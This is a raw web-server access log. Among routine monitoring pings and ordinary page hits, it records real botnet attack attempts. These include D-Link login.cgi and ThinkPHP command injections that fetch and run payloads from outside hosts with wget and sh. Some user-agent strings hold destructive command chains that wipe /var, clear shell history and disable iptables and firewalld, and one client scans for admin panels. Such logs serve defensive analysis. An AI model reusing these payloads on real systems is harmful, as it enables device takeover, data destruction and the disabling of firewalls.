61.9.32.202 - - [17/Feb/2020:09:06:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:09:07:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.161.118.186 - - [17/Feb/2020:09:07:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.164.17.235 - - [17/Feb/2020:09:08:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:09:08:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:09:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:10:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:11:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:12:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:13:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:14:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:15:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.227.64.173 - - [17/Feb/2020:09:15:53 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
159.146.105.26 - - [17/Feb/2020:09:15:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:09:16:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.64.77 - - [17/Feb/2020:09:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:09:17:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [17/Feb/2020:09:18:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [17/Feb/2020:09:18:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.254.96.170 - - [17/Feb/2020:09:18:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:09:19:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.96.207.48 - - [17/Feb/2020:09:19:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:09:20:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:09:20:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:09:21:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:09:21:40 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:09:21:41 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:09:21:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:09:21:50 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:09:22:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:23:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.197.40.43 - - [17/Feb/2020:09:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
45.152.6.58 - - [17/Feb/2020:09:23:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:09:24:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:09:24:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:09:24:18 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
178.73.215.171 - - [17/Feb/2020:09:24:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.152.6.58 - - [17/Feb/2020:09:24:23 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:09:25:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:09:25:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:26:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:27:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:28:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:29:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:30:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.186.179 - - [17/Feb/2020:09:30:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:09:31:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [17/Feb/2020:09:31:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
190.124.162.73 - - [17/Feb/2020:09:32:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:09:32:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:33:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1 en-US; rv:1.9.2.18) Gecko/20110614 Firefox/53.6.18"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.86:80/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET /Autodiscover/Autodiscover.xml HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.2223.0 Safari/537.36"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET /Autodiscover/Autodiscover.xml HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.2223.0 Safari/537.36"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET /jmx-console/ HTTP/1.1" 404 317 "http://212.91.246.86:80" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET /jmx-console/ HTTP/1.1" 404 317 "http://212.91.246.86:80" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
92.151.66.147 - - [17/Feb/2020:09:33:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
92.151.66.147 - - [17/Feb/2020:09:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
92.151.66.147 - - [17/Feb/2020:09:33:32 +0100] "GET /pma/ HTTP/1.1" 404 309 "http://212.91.246.86:80" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
92.151.66.147 - - [17/Feb/2020:09:33:32 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "http://212.91.246.86:80" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
92.151.66.147 - - [17/Feb/2020:09:33:32 +0100] "GET /phpMyAdmin/ HTTP/1.1" 404 316 "http://212.91.246.86:80" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:09:34:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [17/Feb/2020:09:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:09:35:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.41.146.189 - - [17/Feb/2020:09:36:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
176.41.146.189 - - [17/Feb/2020:09:36:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:09:36:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:37:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.108.56.208 - - [17/Feb/2020:09:37:39 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.56.208 - - [17/Feb/2020:09:37:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.56.208 - - [17/Feb/2020:09:37:40 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.56.208 - - [17/Feb/2020:09:37:41 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.56.208 - - [17/Feb/2020:09:37:41 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.56.208 - - [17/Feb/2020:09:37:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.56.208 - - [17/Feb/2020:09:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [17/Feb/2020:09:38:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:09:38:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
71.77.51.27 - - [17/Feb/2020:09:39:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:09:39:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:40:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:41:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:42:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:43:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.255.150.53 - - [17/Feb/2020:09:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
177.11.40.102 - - [17/Feb/2020:09:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:09:44:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.189.143.204 - - [17/Feb/2020:09:44:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.186.36.133 - - [17/Feb/2020:09:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.58.177.11 - - [17/Feb/2020:09:44:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:09:45:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.134.10 - - [17/Feb/2020:09:45:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:09:46:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [17/Feb/2020:09:46:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [17/Feb/2020:09:46:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [17/Feb/2020:09:46:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:09:47:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:48:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:49:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:50:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.69.18.84 - - [17/Feb/2020:09:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:09:51:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:52:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:53:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:54:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:55:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:56:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:57:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:58:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:59:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:00:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:01:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:02:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:03:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [17/Feb/2020:10:03:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [17/Feb/2020:10:03:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
80.26.154.92 - - [17/Feb/2020:10:03:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.180.178 - - [17/Feb/2020:10:03:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:10:04:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [17/Feb/2020:10:04:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:10:05:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:06:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.158.36.69 - - [17/Feb/2020:10:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
